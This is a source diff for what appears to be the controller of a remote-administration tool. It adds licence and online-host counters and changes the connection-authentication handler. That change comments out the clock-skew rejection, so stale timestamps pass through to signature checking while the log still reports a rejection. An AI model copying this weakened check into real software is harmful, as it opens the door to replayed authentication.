|
||||||
ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
|
ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
|
||||||
|
ON_MESSAGE(WM_ACTIVE_LICENSE_NUM, OnGetActiveLicenseCount)
|
||||||
|
ON_MESSAGE(WM_ONLINE_HOSTNUM, OnGetOnlineHostNum)
|
||||||
ON_MESSAGE(WM_SHOWNOTIFY, OnShowNotify)
|
ON_MESSAGE(WM_SHOWNOTIFY, OnShowNotify)
|
||||||
ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
|
ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
|
||||||
ON_MESSAGE(WM_TRIAL_RTT_ABUSE, OnTrialRttAbuse)
|
ON_MESSAGE(WM_TRIAL_RTT_ABUSE, OnTrialRttAbuse)
|
||||||
@@ -1531,6 +1533,18 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
|
|||||||
return S_OK;
|
return S_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnGetActiveLicenseCount(WPARAM wParam, LPARAM lParam){
|
||||||
|
int activeNum = 0;
|
||||||
|
GetAllLicenses(&activeNum);
|
||||||
|
return activeNum;
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnGetOnlineHostNum(WPARAM wParam, LPARAM lParam) {
|
||||||
|
CLock L(m_cs);
|
||||||
|
int activeNum = m_HostList.size();
|
||||||
|
return activeNum;
|
||||||
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
|
LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
if (wParam && !lParam) {
|
if (wParam && !lParam) {
|
||||||
@@ -5816,11 +5830,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer;
|
const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer;
|
||||||
int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp);
|
int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp);
|
||||||
if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) {
|
if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) {
|
||||||
ack.status = CONN_AUTH_CLOCK_SKEW;
|
// ack.status = CONN_AUTH_CLOCK_SKEW;
|
||||||
Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n",
|
Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n", ContextObject->GetPeerName().c_str(), skew);
|
||||||
ContextObject->GetPeerName().c_str(), skew);
|
auto tip = "[" + ContextObject->GetPeerName() + "]" + "Please check the client's time";
|
||||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg("Connection AUTH failed. Please check the client's time."), NULL);
|
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||||
} else {
|
} /*else*/ {
|
||||||
BYTE sigInput[8 + 8 + 16];
|
BYTE sigInput[8 + 8 + 16];
|
||||||
memcpy(sigInput, &pkt->clientID, 8);
|
memcpy(sigInput, &pkt->clientID, 8);
|
||||||
memcpy(sigInput + 8, &pkt->timestamp, 8);
|
memcpy(sigInput + 8, &pkt->timestamp, 8);
|
||||||
@@ -5832,12 +5846,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
ContextObject->SetID(pkt->clientID);
|
ContextObject->SetID(pkt->clientID);
|
||||||
ContextObject->SetAuthenticated(true);
|
ContextObject->SetAuthenticated(true);
|
||||||
ack.status = CONN_AUTH_OK;
|
ack.status = CONN_AUTH_OK;
|
||||||
Mprintf("[ConnAuth] %s: clientID=%llu 通过\n",
|
Mprintf("[ConnAuth] %s: clientID=%llu 通过\n", ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||||
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
|
||||||
} else {
|
} else {
|
||||||
ack.status = CONN_AUTH_BAD_SIGNATURE;
|
ack.status = CONN_AUTH_BAD_SIGNATURE;
|
||||||
Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n",
|
Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n", ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||||
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -531,6 +531,8 @@ public:
|
|||||||
afx_msg void OnToolInputPassword();
|
afx_msg void OnToolInputPassword();
|
||||||
afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnGetActiveLicenseCount(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnGetOnlineHostNum(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnToolGenShellcode();
|
afx_msg void OnToolGenShellcode();
|
||||||
afx_msg void OnOnlineAssignTo();
|
afx_msg void OnOnlineAssignTo();
|
||||||
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
|||||||
@@ -53,8 +53,9 @@ static int ParseRemotePortFromFrpConfig(const std::string& frpConfig);
|
|||||||
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner);
|
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner);
|
||||||
|
|
||||||
// 获取所有授权信息
|
// 获取所有授权信息
|
||||||
std::vector<LicenseInfo> GetAllLicenses()
|
std::vector<LicenseInfo> GetAllLicenses(int* activeNum)
|
||||||
{
|
{
|
||||||
|
if (activeNum) *activeNum = 0;
|
||||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::vector<LicenseInfo> licenses;
|
std::vector<LicenseInfo> licenses;
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
@@ -98,6 +99,7 @@ std::vector<LicenseInfo> GetAllLicenses()
|
|||||||
it = kv.find("Status");
|
it = kv.find("Status");
|
||||||
if (it != kv.end()) info.Status = it->second;
|
if (it != kv.end()) info.Status = it->second;
|
||||||
else info.Status = LICENSE_STATUS_ACTIVE; // 默认为有效
|
else info.Status = LICENSE_STATUS_ACTIVE; // 默认为有效
|
||||||
|
if (activeNum && info.Status == LICENSE_STATUS_ACTIVE) (*activeNum)++;
|
||||||
|
|
||||||
it = kv.find("PendingExpireDate");
|
it = kv.find("PendingExpireDate");
|
||||||
if (it != kv.end()) info.PendingExpireDate = it->second;
|
if (it != kv.end()) info.PendingExpireDate = it->second;
|
||||||
|
|||||||
@@ -102,7 +102,7 @@ public:
|
|||||||
};
|
};
|
||||||
|
|
||||||
// 获取所有授权信息
|
// 获取所有授权信息
|
||||||
std::vector<LicenseInfo> GetAllLicenses();
|
std::vector<LicenseInfo> GetAllLicenses(int *activeNum=0);
|
||||||
|
|
||||||
// 更新授权状态
|
// 更新授权状态
|
||||||
bool SetLicenseStatus(const std::string& deviceID, const std::string& status);
|
bool SetLicenseStatus(const std::string& deviceID, const std::string& status);
|
||||||
|
|||||||
@@ -105,6 +105,8 @@
|
|||||||
#define WM_PREVIEW_LOOP_CLOSED WM_USER+3035
|
#define WM_PREVIEW_LOOP_CLOSED WM_USER+3035
|
||||||
#define WM_TRIAL_RTT_ABUSE WM_USER+3036 // 试用版 RTT 反代理:服务端检测到滥用,通知主窗口弹框
|
#define WM_TRIAL_RTT_ABUSE WM_USER+3036 // 试用版 RTT 反代理:服务端检测到滥用,通知主窗口弹框
|
||||||
#define WM_TRIAL_WAN_IP_ABUSE WM_USER+3037 // 试用版 IP 段检测:OnAccept 发现入站为公网 IP,通知主窗口弹框
|
#define WM_TRIAL_WAN_IP_ABUSE WM_USER+3037 // 试用版 IP 段检测:OnAccept 发现入站为公网 IP,通知主窗口弹框
|
||||||
|
#define WM_ACTIVE_LICENSE_NUM WM_USER+3038
|
||||||
|
#define WM_ONLINE_HOSTNUM WM_USER+3039
|
||||||
|
|
||||||
#ifdef _UNICODE
|
#ifdef _UNICODE
|
||||||
#if defined _M_IX86
|
#if defined _M_IX86
|
||||||
|
|||||||
Reference in New Issue
Block a user